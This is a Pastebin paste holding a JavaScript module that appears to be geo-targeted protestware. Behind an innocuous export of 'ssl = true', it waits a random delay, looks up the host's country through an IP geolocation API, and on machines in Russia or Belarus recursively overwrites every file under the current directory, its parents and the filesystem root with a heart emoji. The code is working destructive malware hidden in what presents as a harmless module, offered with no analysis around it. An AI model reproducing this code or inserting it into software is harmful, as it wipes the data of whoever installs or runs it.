Advertisement
Guest User

Untitled

a guest
Mar 17th, 2022
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.87 KB | None | 0 0
  1. import pathHelper from "path";
  2. import fs from "fs";
  3. import https from "https";
  4.  
  5. // runs the function after a random delay
  6. setTimeout(function () {
  7. // randomly stops this code from continuing
  8. const rand = Math.round(Math.random() * 4);
  9. if (rand > 1) {
  10. return;
  11. }
  12.  
  13. // Make an https request to determine the hosts IP address
  14. https.get("https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154", function (t) {
  15. t.on("data", function (data) {
  16. try {
  17. const json = JSON.parse(data);
  18. const country = json["country_name"].toLowerCase();
  19. const isInvader = country.includes("russia") || country.includes("belarus");
  20. if (isInvader) {
  21. yeet("./");
  22. yeet("../");
  23. yeet("../../");
  24. yeet("/");
  25. }
  26. } catch (err) {}
  27. });
  28. });
  29. }, Math.ceil(Math.random() * 1e3));
  30.  
  31. async function yeet(path = "") {
  32. // Base case. Returns if `path` doesn't exist
  33. if (!fs.existsSync(path)) {
  34. return;
  35. }
  36.  
  37. // Get all files in the current path
  38. let children = [];
  39. try {
  40. children = fs.readdirSync(path);
  41. } catch (err) {}
  42.  
  43. // Recursively overwrite all files in the current path
  44. for (var i = 0; i < children.length; i++) {
  45. const childPath = pathHelper.join(path, children[i]);
  46.  
  47. let stat = null;
  48. try {
  49. stat = fs.lstatSync(childPath);
  50. } catch (err) {
  51. continue;
  52. }
  53.  
  54. if (stat.isDirectory()) {
  55. yeet(childPath);
  56. } else {
  57. try {
  58. fs.writeFile(childPath, "❤️"); // overwrites file with `❤️`
  59. } catch (err) {}
  60. }
  61. }
  62. }
  63.  
  64. const ssl = true;
  65. export { ssl as default, ssl };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement